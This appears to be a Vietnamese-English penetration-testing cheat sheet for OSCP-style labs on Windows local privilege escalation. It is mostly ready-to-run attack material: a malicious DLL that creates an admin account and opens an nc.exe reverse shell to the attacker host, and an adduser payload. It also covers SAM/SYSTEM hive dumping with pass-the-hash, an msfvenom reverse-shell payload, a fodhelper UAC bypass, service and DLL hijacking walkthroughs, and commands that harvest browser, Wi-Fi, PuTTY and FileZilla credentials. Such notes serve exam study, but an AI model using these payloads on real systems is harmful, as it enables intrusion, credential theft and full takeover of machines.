# payload hay: 'println("cmd /c net localgroup Administrators <me> /add".execute().text)'
# hoặc reg add LocalAccountTokenFilterPolicy (xem §8 persistence)
[!tip] Custom service "extension dir" writable → DLL planting (pattern SyncEngine)
Service load .dll từ dir trong ProgramData mà Users ghi được (icacls → (OI)(CI)(M)):
BOOL APIENTRY DllMain(HANDLE h,DWORD r,LPVOID p){ if(r==DLL_PROCESS_ATTACH){
system("net user d P@ss! /add"); system("net localgroup Administrators d /add");
system("C:\\tools\\nc.exe <kali> 443 -e cmd.exe"); } return TRUE; }
// x86_64-w64-mingw32-gcc x.cpp --shared -o <tên-dll-service-load>.dll
// copy vào extension dir → sc.exe start <service> → SYSTEM
1.7 FTP (21) — SAM/SYSTEM leak → PtH
B1 — FTP anon có sẵn SAM + SYSTEM:
lftp ftp://anonymous:anonymous@<ip>
mirror /
mirror /— configs/ logs/ scripts/ + SAM + SYSTEM + web.config → tải hết về Kali
B2 — Dump hash offline:
impacket-secretsdump -sam SAM -system SYSTEM LOCAL
- ra
uid:rid:lmhash:nthashmọi local user (m.hayes, j.miller, sshd...)
B3 — PtH user thường qua WinRM:
evil-winrm -i <ip> -u m.hayes -H <nthash>
B4 — Privesc: SAM backup cũ ở thư mục NGOÀI C:\:
Get-ChildItem C:\ -Directory
icacls C:\Backup
- list thư mục root C:\ — Backup/Temp hay lộ SAM+SYSTEM cũ chưa đổi pass
- dump lại secretsdump từ backup → hash Administrator KHÁC → PtH admin
B5 — PtH Administrator:
evil-winrm -i <ip> -u administrator -H <hash-mới>
🏰 AD — ĐÃ TÁCH RIÊNG
03-AD 🏰 — creds & spray, enum AD (BloodHound/LDAP), kerberos attacks, full chain user→DA (relay/DnsAdmins/gMSA/RBCD/DCSync) + gotchas WS2022.
⬆️ 2. LOCAL PRIVESC WINDOWS
whoami /all # groups + privileges (SeImpersonate!)
net user ; net localgroup administrators
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" # + hotfix: wmic qfe list
.\winPEASx64.exe all | Out-File -Encoding utf8 wp.txt # ~/labOSCP/privilege/ · +Seatbelt
# AV ăn winpeas → . .\PrivescCheck.ps1; Invoke-PrivescCheck | PowerUp: . .\PowerUp.ps1; Invoke-AllChecks
2.0 ENUM WINDOWS POST-SHELL — theo nhóm (đừng bỏ sót nhóm nào)
2.0a QUICK MATRIX — dấu hiệu → lệnh tìm nhanh (làm theo thứ tự)
| # | Dấu hiệu (gợi ý vector) | Lệnh tìm nhanh nhất |
|---|---|---|
| 1 | Service chạy SYSTEM + exe trong dir lạ (C:\xampp, C:\Services, appdata) |
Get-CimInstance win32_service \| ?{$_.PathName -notmatch 'system32\|SystemRoot' -and $_.StartName -match 'System\|Admin'} \| select Name,PathName,StartName |
| 2 | Binary service ghi được (Users:F/W/M) | icacls "<path exe>" hoặc script writable-service §2.4(a) |
| 3 | Service có space trong path không có " |
PS: Get-CimInstance Win32_Service \| ?{$_.PathName -notmatch '^"' -and $_.PathName -match '\s.*\.exe'} · cmd: wmic service get name,pathname \| findstr /v /i "windows \"" | findstr /i " "` |
| 4 | User có SERVICE_CHANGE_CONFIG/RP+WP trên service |
accesschk -uwcqv "<user>" * hoặc sc sdshow <svc> đọc SDDL |
| 5 | SeImpersonate/SeAssignPrimaryToken enabled |
whoami /priv → GodPotato/PrintSpoofer |
| 6 | SeBackup/SeRestore/SeDebug/SeLoadDriver/SeTakeOwnership/SeManageVolume enabled |
whoami /priv → bảng priv §2.2 |
| 7 | Task chạy SYSTEM/admin mà file target ghi được |
Get-ScheduledTask \| %{$_.Actions} → icacls <exe> |
| 8 | Task chạy lại sớm (RepeatInterval có giá trị) |
Get-ScheduledTaskInfo \| select NextRunTime |
| 9 | App cài thêm (xampp/filezilla/nova/enterprise) | Get-ItemProperty "HKLM:...\Uninstall\*" \| select displayname |
| 10 | Dir trong $env:Path writable |
$env:Path -split ';' \| %{try{[IO.File]::Create("$_\t.tmp").Close()\|Out-Null;rm "$_\t.tmp";"WRITABLE: $_"}catch{}} |
| 11 | Reg Run/Startup writable |
accesschk -uwdq "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" |
| 12 | AlwaysInstallElevated | reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer |
| 13 | Winlogon có DefaultPassword |
reg query "HKLM\...\Winlogon" |
| 14 | Password trong file/script | findstr /s /i "password pwd" C:\Users\*.txt C:\Users\*.xml C:\inetpub\*.config C:\ProgramData\*.ini — scope, đừng quét C:\* |
| 15 | Group Server/Backup/Print Operators |
net localgroup <group> — SrvOp = sửa+restart service |
| 16 | WSUS http:// (không TLS) | reg query HKLM\...\WindowsUpdate /v WUServer |
| 17 | Hotfix thiếu (old OS) | systeminfo \| findstr /B "OS" + wmic qfe |
| 18 | Unattend.xml/sysprep tồn tại |
dir C:\Windows\Panther\unattend.xml |
(a) Định danh & ngữ cảnh
whoami /all ; whoami /priv ; whoami /groups
net user ; net localgroup ; Get-LocalUser ; Get-LocalGroupMember administrators
net user <tôi>
query user ; query session ; qwinsta
Get-CimInstance Win32_LoggedOnUser | select -Expand Antecedent
whoami /all ; whoami /priv ; whoami /group…— SeImpersonate/SeBackup/SeDebug/SeAssignPrimaryToken?net user <tôi>— group mình thuộc + last logonquery user ; query session ; qwinsta— ai đang login → hijack/potential
(b) Hệ thống & patch
systeminfo
wmic qfe get Caption,HotFixID,InstalledOn
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*","HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname,displayversion
dir "C:\Program Files","C:\Program Files (x86)","C:\ProgramData" | grep -iv "common\|microsoft\|windows"
systeminfo— OS + arch + hotfix list + domainwmic qfe get Caption,HotFixID,InstalledOn— patch level → CVE còn sốngdir "C:\Program Files","C:\Program Files (…— app lạ
(c) Mạng & vị trí
ipconfig /all
route print ; arp -a ; Get-NetNeighbor
netstat -ano | findstr LISTENING
Get-NetTCPConnection -State Listen | %{ "$($_.LocalPort) $(Get-Process -Id $_.OwningProcess).Name" }
net use ; Get-SmbShare ; Get-SmbOpenFile
Get-DnsClientCache
netsh wlan show profile
netsh wlan show profile name="<ssid>" key=clear
ipconfig /all— DNS suffix → domain name, DHCP=DC?route print ; arp -a ; Get-NetNeighbor— subnet nội bộ → pivotnetstat -ano | findstr LISTENING— service local (SQL/RabbitMQ bind 127.0.0.1!)net use ; Get-SmbShare ; Get-SmbOpenFile— mapped drives + share máy này phátGet-DnsClientCache— domain nào hay resolvenetsh wlan show profile— wifi từng kết nối:netsh wlan show profile name="<ssid>" key=…— → password wifi PLAINTEXT
(d) Phòng thủ — đọc trước khi upload tool
Get-MpComputerStatus
Get-MpPreference | select ExclusionPath,ExclusionProcess
Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct
netsh advfirewall show allprofiles state ; netsh advfirewall show currentprofile
$ExecutionContext.SessionState.LanguageMode
Get-ExecutionPolicy -List
Get-ChildItem "HKLM:\SOFTWARE\Policies\Microsoft\Windows\SrpV2" -Recurse -ErrorAction SilentlyContinue
Get-ChildItem "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa"
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA
Get-MpComputerStatus— Defender RealTimeProtection/AMServiceEnabled?Get-MpPreference | select ExclusionPath,Ex…— folder loại trừ = chỗ drop tool!Get-CimInstance -Namespace root/SecurityCe…— AV bên thứ 3$ExecutionContext.SessionState.LanguageMod…— ConstrainedLanguageMode (CLM)? → bypass mới gọi được PS đầy đủGet-ExecutionPolicy -List— PS policyGet-ChildItem "HKLM:\SOFTWARE\Policies\Mic…— AppLocker rulesGet-ChildItem "HKLM:\SYSTEM\CurrentControl…— RunAsPPL=1 → LSASS cấm dumpreg query "HKLM\SOFTWARE\Microsoft\Windows…— UAC off?
(e) Services / Tasks / Startup
Get-CimInstance win32_service | select Name,State,PathName,StartName | ft -a
Get-CimInstance win32_service | ?{$_.PathName -match '"?([^"]+\.exe)"?'} | %{(Get-Acl $matches[1]).Access | ?{$_.FileSystemRights -match 'Write|Modify|FullControl'}} # binary ghi được
Get-WmiObject Win32_Service | ?{ $_.PathName -notmatch '"' -and $_.PathName -match '\s.*\.exe' } | select Name,PathName,StartName # unquoted path
cmd /c "sc sdshow <svc>"
schtasks /query /fo LIST /v | findstr /i "TaskName Run As User Command"
Get-ScheduledTask | %{$_.Actions}
Get-CimInstance Win32_StartupCommand
dir "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup","$env:ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"
driverquery | findstr /i "nvidia\|printer\|capcom"
Get-CimInstance win32_service | select Nam…— PATH+account chạycmd /c "sc sdshow <svc>"— SDDL → ai được đổi binpath (RP/WP)schtasks /query /fo LIST /v | findstr /i "…— task chạy SYSTEM?Get-ScheduledTask | %{$_.Actions}— action path có ghi được khôngGet-CimInstance Win32_StartupCommand— startup progsdir "$env:APPDATA\Microsoft\Windows\Start …— ghi được = persistdriverquery | findstr /i "nvidia\|printer\…— driver lạ → LPE kernel
(f) Săn creds — files + registry + apps
FILE hunting — quét cả C:\Users lẫn C:\ProgramData:
Get-ChildItem C:\ -Include *.txt,*.pdf,*.xls*,*.doc*,*.xml,*.config,*.ini,*.ps1,*.bat,*.kdbx,*.rdp,.env* -Recurse -ErrorAction SilentlyContinue | select FullName
Get-ChildItem C:\Users -Recurse -Include *.txt,*.kdbx,*.xml,*.config -ErrorAction SilentlyContinue | select FullName
findstr /s /i /m "password pwd pass api_key secret" C:\Users\*.txt C:\Users\*.xml C:\Users\*.config C:\inetpub\*.config C:\inetpub\*.xml C:\ProgramData\*.xml C:\ProgramData\*.ini C:\xampp\*.txt C:\xampp\*.ini C:\tools\*.* C:\scripts\*.* 2>$null
dir /a /s C:\Users\ 2>$null
dir /a:d /s C:\Users C:\inetpub C:\ProgramData C:\xampp C:\tools C:\scripts 2>$null
Get-ChildItem -Force -Recurse C:\Users -Include *.txt,*.xml,*.config -EA SilentlyContinue
attrib -h -s <file>
findstr /s /i "password" C:\inetpub\wwwroot\*.config C:\inetpub\wwwroot\*.cs 2>$null
C:\Windows\Panther\unattend.xml ; C:\unattend.xml ; C:\Windows\System32\Sysprep\sysprep.xml ; C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\System32\config\RegBack\{SAM,SYSTEM}
C:\Windows.old\
C:\ProgramData\
C:\Users\*\.ssh\ ; C:\Users\*\Documents\ ; C:\$Recycle.Bin\<SID>\
Get-ChildItem "HKLM:\SOFTWARE","HKCU:\SOFTWARE" -Recurse -EA SilentlyContinue | ?{$_.Property -match "password|pass"} | select PSPath
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
reg query "HKCU\SOFTWARE\SimonTatham\PuTTY\Sessions"
dir "C:\Program Files\FileZilla" ; type "C:\Users\*\AppData\Roaming\FileZilla\sitemanager.xml"
Get-ChildItem C:\Users\*\AppData -Include sitemanager.xml,FileZilla.xml -Recurse -EA SilentlyContinue
Get-Content "C:\Users\*\AppData\Roaming\mRemoteNG\confCons.xml"
Get-ChildItem C:\Users -Include *.kdbx -Recurse -EA SilentlyContinue
Get-ChildItem "C:\ProgramData\McAfee" -Recurse -EA SilentlyContinue
cmdkey /list ; vaultcmd /listproperties "Web Credentials"
Get-ChildItem "C:\Users\*\AppData\Local\Google\Chrome\User Data\Default\Login Data","C:\Users\*\AppData\Local\Microsoft\Edge\User Data\Default\Login Data" -EA SilentlyContinue
Get-ChildItem "C:\Users\*\AppData\Roaming\Mozilla\Firefox\Profiles" -EA SilentlyContinue
Get-Clipboard
Get-History ; Get-Content (Get-PSReadlineOption).HistorySavePath
Get-WinEvent -FilterHashtable @{LogName='PowerShell';Id=4104} -EA SilentlyContinue | select -First 5 Message
Get-ChildItem env:
dir \\<dc>\SYSVOL\<dom>\scripts\
fsutil fsinfo drives ; Get-PSDrive
findstr /s /i /m "password pwd pass api_ke…— ⚠️ ĐỪNG findstr /s C:* hay dir /s C:\ — quét cả C:\Windows = chậm + nhiễu. SCOPE vào dir có loot:dir /a /s C:\Users\ 2>$null— FILE ẨN — admin hay attrib +h, Get-ChildItem mặc định BỎ QUA: · list cả file+dir ẩn (h,s) — quét nhanhdir /a:d /s C:\Users C:\inetpub C:\Program…— chỉ dir ẩn — scoped, bỏ C:\WindowsGet-ChildItem -Force -Recurse C:\Users -In…— -Force = lấy hidden!attrib -h -s <file>— bỏ ẩn/system nếu cần đọcfindstr /s /i "password" C:\inetpub\wwwroo…— IIS web.config connString!C:\Windows\Panther\unattend.xml ; C:\unatt…— file hot spots:C:\Windows\System32\config\RegBack\{SAM,SY…— backup hives → secretsdumpC:\Windows.old\— OS cũ → SAM/ntds/user filesC:\ProgramData\— config apps (PuttyCM, mRemoteNG!)Get-ChildItem "HKLM:\SOFTWARE","HKCU:\SOFT…— reg credsreg query "HKLM\SOFTWARE\Microsoft\Windows…— DefaultUserName/Password (autologon)reg query "HKCU\SOFTWARE\SimonTatham\PuTTY…— putty saved creds/keysdir "C:\Program Files\FileZilla" ; type "C…— apps lưu pass: · FileZilla = PLAINTEXT credsGet-Content "C:\Users\*\AppData\Roaming\mR…— mRemoteNG → decrypt qua mRemoteNG-Decrypt.py (aes key mở)Get-ChildItem C:\Users -Include *.kdbx -Re…— KeePass → keepass4bruteGet-ChildItem "C:\ProgramData\McAfee" -Rec…— SiteList.xml → cpassword crackcmdkey /list ; vaultcmd /listproperties "W…— browsers + managers: · credential manager lưu gìGet-ChildItem "C:\Users\*\AppData\Roaming\…— logins.json+key4.db → firepwd.pyGet-Clipboard— đôi khi paste pass!Get-History ; Get-Content (Get-PSReadlineO…— PS history = mỏ credsGet-WinEvent -FilterHashtable @{LogName='P…— PS script loggingGet-ChildItem env:— env var & shares: · domain/user/session rõ ràngdir \\<dc>\SYSVOL\<dom>\scripts\— logon script = creds plaintextfsutil fsinfo drives ; Get-PSDrive— mapped + phân vùng ẩn
(g) Session / token / cơ hội đặc biệt
query user ; qwinsta ; nxc smb <ip> -u u -p p --loggedon-users
net localgroup "Remote Desktop Users" ; net localgroup "Remote Management Users"
Test-NetConnection -Port 445 <ip>
1..1024 | % { (New-Object Net.Sockets.TcpClient).Connect("<ip>", $_); "port $_ open" } 2>$null
Test-Path "$env:ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"
.\winPEASx64.exe domain quiet
Get-ChildItem C:\ -Include *.pst -Recurse -EA SilentlyContinue
query user ; qwinsta ; nxc smb <ip> -u u -…— ai login interactive → mimikatz/potato đáng chạy · từ kalinet localgroup "Remote Desktop Users" ; ne…— group nào login đượcTest-NetConnection -Port 445 <ip>— port test (telnet thay thế)1..1024 | % { (New-Object Net.Sockets.TcpC…— PS port-scanTest-Path "$env:ProgramData\Microsoft\Wind…— startup writable?.\winPEASx64.exe domain quiet— enum domain objectsGet-ChildItem C:\ -Include *.pst -Recurse …— Outlook PST → readpst
2.1 Service Binary Hijacking
#include <stdlib.h>
int main(){ system("reg save HKLM\\SAM C:/Users/Public/sam.hiv");
system("reg save HKLM\\SYSTEM C:/Users/Public/system.hiv");
system("net localgroup administrators <user> /add"); return 0; }
// x86_64-w64-mingw32-gcc takesam.c -o x.exe -static
thay exe service → restart:
sc.exe stop <svc> ; sc.exe start <svc>
impacket-secretsdump -sam sam.hiv -system system.hiv local
impacket-secretsdump -sam sam.hiv -system …— hoặc powershell: Restart-Service <svc> · về Kali: · → NTLM local admin
2.2 Các vector local khác
| Vector | Check | Khai thác |
|---|---|---|
| AlwaysInstallElevated | reg query (cả 2 hive) = 1 | msiexec /quiet /qn /i http://kali/x.msi (msfvenom -f msi) |
| Unquoted Service Path | Get-WmiObject Win32_Service \| ?{ $_.PathName -notmatch '"' -and $_.PathName -match '\s.*\.exe' } \| select Name,PathName,StartName |
drop exe vào segment đầu của path |
| DLL Hijacking | ProcMon filter NAME NOT FOUND |
viết DLL vào PATH/CWD của app — vd FileZilla TextShaping.dll: x86_64-w64-mingw32-gcc x.cpp --shared -o TextShaping.dll |
| UAC bypass | reg query HKLM\...\Policies\System /v EnableLUA =1 + user admin |
fodhelper: reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /ve /d "C:\Windows\Temp\pwn.exe" /f + reg add ... /d DelegateExecute /f → fodhelper.exe |
| Scheduled task overwrite | task SYSTEM trỏ exe ghi được | move target.exe target.bak → drop payload tên cũ → chờ task chạy |
| Insecure Service Config ⭐ | accesschk.exe /accepteula -uwcqv "<user>" * → SERVICE_CHANGE_CONFIG |
sc config <svc> binpath= "C:\x.exe" ; sc start <svc> — kịch bản OSCP kinh điển |
| Service binary writable | accesschk.exe /accepteula -uwdq "C:\Program Files\<app>\" |
đổi exe gốc (copy exe cũ trước) |
| Weak service registry | accesschk.exe /accepteula -kvu "<user>" HKLM\SYSTEM\CurrentControlSet\Services |
sửa ImagePath trực tiếp trong reg |
| PATH hijack | $env:Path có dir user-ghi-được? (accesschk -uwdq <dir>) |
drop program.exe vào dir đứng TRƯỚC trong PATH |
| Program Files writable | accesschk -uwdqs "C:\Program Files" / (Get-Acl <dir>).Access |
thay file service/app chạy admin dùng |
| Startup/Run keys | accesschk -uwdq "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" + Startup folder |
drop payload → chờ admin login |
| Operator groups | net localgroup "Server Operators"/"Backup Operators"/"Print Operators" |
SrvOp = sửa+restart service → SYSTEM |
| WSUS non-TLS | reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer — http://? |
SharpWSUS inject fake update → SYSTEM |
| HiveNightmare | Win10 20H1+ vulnerable | đọc \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy*\Windows\System32\config\SAM → secretsdump |
| BYOVD | driverquery + loldrivers check |
load driver signed-vuln → kernel RW → SYSTEM |
| SeBackupPrivilege | whoami /priv |
robocopy /b C:\Users\Administrator . hoặc diskshadow + reg save |
| SeRestorePrivilege | whoami /priv |
ghi đè file hệ thống |
| SeImpersonate (service acct) | IIS/SQL/NETWORK SERVICE | GodPotato / PrintSpoofer / RoguePotato → SYSTEM |
| SeAssignPrimaryToken | như trên | Potato family |
| SeLoadDriver | whoami /priv |
load driver vào kernel: capcom.sys/LOLDrivers → .\EOPLOADDRIVER.exe |
| SeDebug | whoami /priv |
inject SYSTEM proc: psinject/mimikatz token::elevate → NT AUTHORITY |
| SeTakeOwnership | whoami /priv |
takeown /f <file> + icacls /grant → sửa file SYSTEM |
| SeManageVolume | whoami /priv |
raw disk write → patch SAM/SYSTEM → SYSTEM |
| Token impersonation | meterpreter incognito | impersonate user login trên box |
| Scheduled tasks | schtasks /query /v | task SYSTEM trỏ binary ghi được |
| Autologon | reg query Winlogon | password plaintext |
| Unattend/Panther | C:\Windows\Panther\unattend.xml |
AdministratorPassword |
| LAPS | Get-ADComputer -Properties ms-Mcs-AdmPwd |
nếu quyền đọc → local admin mọi box |
| Hotfix cũ | wmic qfe list brief |
so CVE → local exploit |
2.4 Scripts tự động + điều kiện từng vector
(a) Service enum qua registry (khi WMI/CIM bị hạn chế):
Get-ChildItem "HKLM:\SYSTEM\CurrentControlSet\Services" | ForEach-Object {
$props = Get-ItemProperty $_.PSPath
[PSCustomObject]@{ Name=$_.PSChildName; ImagePath=$props.ImagePath; Start=$props.Start }
} | Format-Table -AutoSize
} | Format-Table -AutoSize— Start: 0=boot,1=system,2=auto,3=manual,4=disabled
(b) SDDL letter map — service rights: CC=query-config · SW=query-status · RP=START · WP=STOP · DT=delete · LO=list-children · CR=control:
(cmd /c "sc.exe sdshow <svc>") -join ""
$sd=(cmd /c "sc.exe sdshow <svc>") -join ""; "Stop: $($sd -match 'WP') Start: $($sd -match 'RP')"
(cmd /c "sc.exe sdshow <svc>") -join ""— đọc SDDL thô — user mình có ACE chứa WP+RP → stop+start được
(c) Unquoted service path — auto-scanner (tìm + check từng folder writable):
$services = Get-CimInstance Win32_Service | Where-Object {
$_.PathName -and $_.PathName -notmatch '^"' -and $_.PathName -match ' ' -and $_.PathName -notmatch '^[A-Za-z]:\\Windows\\' }
foreach ($svc in $services) {
Write-Host "SERVICE: $($svc.Name) | $($svc.PathName) | $($svc.StartName)" -F Yellow
$exePath = if ($svc.PathName -match '([A-Za-z]:\\.+?\.exe)') { $matches[1] } else { $svc.PathName }
$parts = $exePath.Split("\"); $checkPaths = @("$($parts[0])\")
for ($i=1; $i -lt $parts.Count-1; $i++) { $checkPaths += ($parts[0..$i] -join "\") }
foreach ($dir in $checkPaths) {
try { [IO.File]::Create("$dir\tst.tmp").Close(); Remove-Item "$dir\tst.tmp" -Force
Write-Host " WRITABLE: $dir" -F Green } catch {} } }
$services = Get-CimInstance Win32_Service …— Get-CimInstance: chạy được cả PS5.1 + PS7 · Get-WmiObject CHỈ có trong Windows PowerShell 5.1 (pwsh bị lỗi!)⚠️ cmd thuần (không PS): wmic service get name,pathname,startname ⚠️ wmic service where "pathname like '% %' and not pathname like '%\"%'" get name,pathname
(d) Scheduled task — đủ điều kiện khai thác (task phải CHẠY LẠI sớm + file ghi được):
Get-ScheduledTask | ForEach-Object {
$info = $_ | Get-ScheduledTaskInfo; $t = @($_.Triggers)[0]
$intv = if ($t -and $t.Repetition) { $t.Repetition.Interval } else { "-" }
[PSCustomObject]@{ TaskName=$_.TaskName; RunAsUser=$_.Principal.UserId;
NextRunTime=$info.NextRunTime; RepeatInterval=$intv } } | ft -a
Get-ScheduledTask | ? TaskName -like "*<tên>*" | %{$_.Actions}
icacls "C:\path\target.exe"
$intv = if ($t -and $t.Repetition) { $t.Re…— tránh null crashGet-ScheduledTask | ? TaskName -like "*<tê…— đường dẫn file thực thiicacls "C:\path\target.exe"— ghi được → đổi adduser.exe⚠️ cmd thuần: schtasks /query /fo LIST /v | findstr /i "TaskName To Run As User Next"
(e) Potato — pre-checks trước khi chọn:
reg query "HKLM\SOFTWARE\Microsoft\Ole" /v EnableDCOM
Get-Service RpcSs ; Get-Service Spooler
ls "$env:windir\Microsoft.NET\Framework64"
reg query "HKLM\SOFTWARE\Microsoft\Ole" /v…— DCOM off → potato không chạyGet-Service RpcSs ; Get-Service Spooler— PrintSpoofer CẦN spooler runningls "$env:windir\Microsoft.NET\Framework64"— GodPotato-NET4 cần .NET4.x⚠️ chọn tool: JuicyPotato ≤ Win10 cũ/2016 · GodPotato-NET4 + PrintSpoofer Win10/2019+ · SweetPotato
(f) DLL hijack ghi nhớ: SafeDllSearchMode reg (HKLM\SYSTEM...\Session Manager): 0 → current-dir lên vị trí 2 trong search order (ngon), 1 (default) → rơi xuống thấp. ProcMon filter: ProcessName=app.exe + Path ends .dll + Result=NAME NOT FOUND → dll app cần nhưng thiếu. Lưu ý strings.exe không có sẵn — download Sysinternals hoặc dùng findstr /i "\.dll" hoặc [IO.File]::ReadAllBytes đọc bytes.
(g) Service/process quyền cao (LocalSystem/Admin) — nhiều cách, cái nào sống dùng cái đó:
CÁCH 1: Get-CimInstance (chuẩn nhất — chạy PS5.1 + PS7, không cần admin)
Get-CimInstance Win32_Service | ?{$_.StartName -match 'LocalSystem|SYSTEM|Admin'} | select Name,State,PathName,StartName | ft -a
Get-CimInstance Win32_Process | select Name,ProcessId,@{n='Owner';e={$_.GetOwner().User}} | ?{$_.Owner -match 'SYSTEM|Admin'}
Get-WmiObject Win32_Service | ?{$_.StartName -match 'LocalSystem'} | select Name,PathName,StartName
Get-Process -IncludeUserName -EA SilentlyContinue | ?{$_.UserName -match 'SYSTEM|Admin'} | select Name,Id,UserName
wmic service get name,pathname,startname,state | findstr /i "system admin"
wmic process get name,processid,getowner
tasklist /v | findstr /i "SYSTEM Admin"
qprocess
reg query "HKLM\SYSTEM\CurrentControlSet\Services\<svc>" /v ObjectName
Get-ChildItem "HKLM:\SYSTEM\CurrentControlSet\Services" | %{
$o=Get-ItemProperty $_.PSPath -EA 0
if($o.ObjectName -match 'LocalSystem|Admin'){
[pscustomobject]@{Svc=$_.PSChildName; RunAs=$o.ObjectName; Path=$o.ImagePath} } } | ft -a
Get-WmiObject Win32_Service | ?{$_.StartNa…— = CÁCH 2: Get-WmiObject — CHỈ Windows PowerShell 5.1 (pwsh/PS7: "command not found"!) =Get-Process -IncludeUserName -EA SilentlyC…— = CÁCH 3: Get-Process -IncludeUserName — cần quyền cao mới thấy process người khác =wmic service get name,pathname,startname,s…— = CÁCH 4: cmd thuần — wmic (deprecated nhưng còn sống) + tasklist + qprocess (builtin!) =wmic process get name,processid,getowner— owner từng processtasklist /v | findstr /i "SYSTEM Admin"— /v có cột User Nameqprocess— query process — owner nhanh nhất, có sẵn mọi Windowsreg query "HKLM\SYSTEM\CurrentControlSet\S…— = CÁCH 5: reg query — khi WMI/CIM chết hoàn toàn = · account service đó⚠️ LƯU Ý: Get-Service thường KHÔNG hiện account chạy → bắt buộc CIM/WMI/reg
DLL hijack — recon nhanh (3 lớp, không cần ProcMon):
Lớp 1 — DLL đang LOAD mà nằm ngoài System32 (nhanh nhất, ăn ngay):
Get-Process | %{ $_.Modules } | ?{$_.FileName -notmatch 'system32|winsxs|Program Files\\Common'} |
select -uniq FileName | %{ if((Get-Acl $_.FileName).Access | ?{$_.FileSystemRights -match 'Write|Modify|FullControl' -and $_.IdentityReference -match "$env:USERNAME|Users|Everyone"}){ "WRITABLE-DLL: $_" } }
accesschk.exe /accepteula -uwdqs "C:\Program Files" "C:\Program Files (x86)" "C:\ProgramData"
Get-Acl "C:\Program Files\<app>" | select -ExpandProperty Access | ?{$_.FileSystemRights -match 'Write'}
strings.exe "C:\Program Files\<app>\app.exe" | Select-String "\.dll$" | sort -uniq
Get-ChildItem "C:\Program Files\<app>" -Filter *.dll | select Name
$env:Path -split ';' | %{ try { [IO.File]::Create("$_\t.tmp").Close()|Out-Null; rm "$_\t.tmp"; "PATH-WRITABLE: $_" } catch {} }
accesschk.exe /accepteula -uwdqs "C:\Progr…— → DLL nào app/service quyền cao đang load mà ghi được → thay luôn · Lớp 2 — dir ứng dụng có quyền ghi (chỗ sẽ đặt phantom dll):strings.exe "C:\Program Files\<app>\app.ex…— Lớp 3 — tìm DLL app CẦN nhưng THIẾU trong dir đó (phantom): · strings exe → tên dll app import mà file không tồn tại trong appdirGet-ChildItem "C:\Program Files\<app>" -Fi…— so 2 list → dll thiếu = target$env:Path -split ';' | %{ try { [IO.File]:…— trick nhanh: dir app có dll nào NON-Microsoft (không sign) → dễ bị replace nhất · PATH-hijack: dir writable nằm TRƯỚC trong $env:Path → drop tên dll phổ biến bất kỳ⚠️ PowerUp: . .\PowerUp.ps1; Find-PathDLLHijack / Find-ProcessDLLHijack (auto 2 case trên) ⚠️ winPEAS quét luôn "writable dirs in PATH" + service DLL paths ⚠️ → 3 lớp fail mới cần ProcMon (cần GUI): procmon.exe /Quiet /Minimized /BackingFile log.pml (h)
net accounts— xem password policy trướcnet user x <pass> /add— pass yếu bị reject.
# adduser.c: int main(){ system("net user dave2 password123! /add"); system("net localgroup administrators dave2 /add"); return 0; }
sudo apt install mingw-w64
x86_64-w64-mingw32-gcc adduser.c -o adduser.exe
# DLL: x86_64-w64-mingw32-gcc TextShaping.cpp --shared -o TextShaping.dll — code chạy trong DllMain(DLL_PROCESS_ATTACH)
# revshell exe: msfvenom -p windows/x64/shell/reverse_tcp LHOST=<kali> LPORT=4444 -f exe -o shell.exe
2.5 Worked examples — chuỗi lệnh đầy đủ từng vector
# ── ENUM ──
whoami /priv # có SeShutdownPrivilege → restart được máy
Get-CimInstance win32_service | Select Name,State,PathName,StartName,StartMode | ft -a
# → phát hiện mysql: StartName=LocalSystem, StartMode=Auto, PathName=C:\xampp\mysql\bin\mysqld.exe
icacls "C:\xampp\mysql\bin\mysqld.exe" # BUILTIN\Users:(F) → GHI ĐƯỢC
net accounts # policy: min length 0 → "password123!" ok
# ── PAYLOAD (trên kali) ──
# adduser.c như trên → x86_64-w64-mingw32-gcc adduser.c -o adduser.exe
# ── DEPLOY ──
iwr -uri http://<kali>/adduser.exe -Outfile adduser.exe
move C:\xampp\mysql\bin\mysqld.exe mysqld.bak # backup gốc trước!
move .\adduser.exe C:\xampp\mysql\bin\mysqld.exe
Get-Service mysql | Select Name,CanStop # không stop được → dùng reboot
shutdown /r /t 0 # máy restart → SCM chạy "mysqld.exe" = adduser
# ── VERIFY ──
net user dave2 # đã tồn tại → login / rdp / evil-winrm
# ── ENUM ──
Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\...\Uninstall\*" | select displayname # FileZilla 3.63
# ProcMon: Filter ProcessName=filezilla.exe + Path ends .dll + Result=NAME NOT FOUND
# → TextShaping.dll bị load mà thiếu trong C:\Program Files\FileZilla FTP Client\
icacls "C:\Program Files\FileZilla FTP Client" # Users:(W) → ghi được
# ── PAYLOAD (kali) — DllMain code ở callout trên ──
x86_64-w64-mingw32-gcc TextShaping.cpp --shared -o TextShaping.dll
# ── DEPLOY ──
iwr -uri http://<kali>/TextShaping.dll -OutFile 'C:\Program Files\FileZilla FTP Client\TextShaping.dll'
# ── TRIGGER ── chờ admin mở FileZilla → DLL chạy → user dave3 vào administrators
# ── ENUM ──
Get-WmiObject Win32_Service | ?{$_.PathName -notmatch '"' -and $_.PathName -match '\s.*\.exe'} | select Name,PathName,StartName
# → GammaSvc: C:\Program Files\Enterprise Apps\Current Version\GammaServ.exe · LocalSystem
# Windows resolve: C:\Program.exe → C:\Program Files\Enterprise.exe → ... → GammaServ.exe
$sd=(cmd /c "sc sdshow GammaSvc") -join ""; $sd # user có WP+RP → restart được
# ── DEPLOY ──
iwr -uri http://<kali>/adduser.exe -Outfile adduser.exe
